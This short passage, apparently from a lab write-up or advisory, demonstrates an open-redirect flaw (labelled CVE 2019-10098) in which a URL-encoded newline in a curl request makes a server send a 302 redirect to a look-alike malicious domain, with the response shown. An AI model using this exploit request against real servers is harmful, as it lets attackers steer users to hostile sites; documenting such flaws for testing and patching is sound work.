Normal URLs like http://redirect.local/test will be forwared to https://redirect.local/test. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to `https://redirect.local.evilwebsite.com`):

```
curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is
HTTP/2 302

location: https://redirect.local.evilwebsite.com
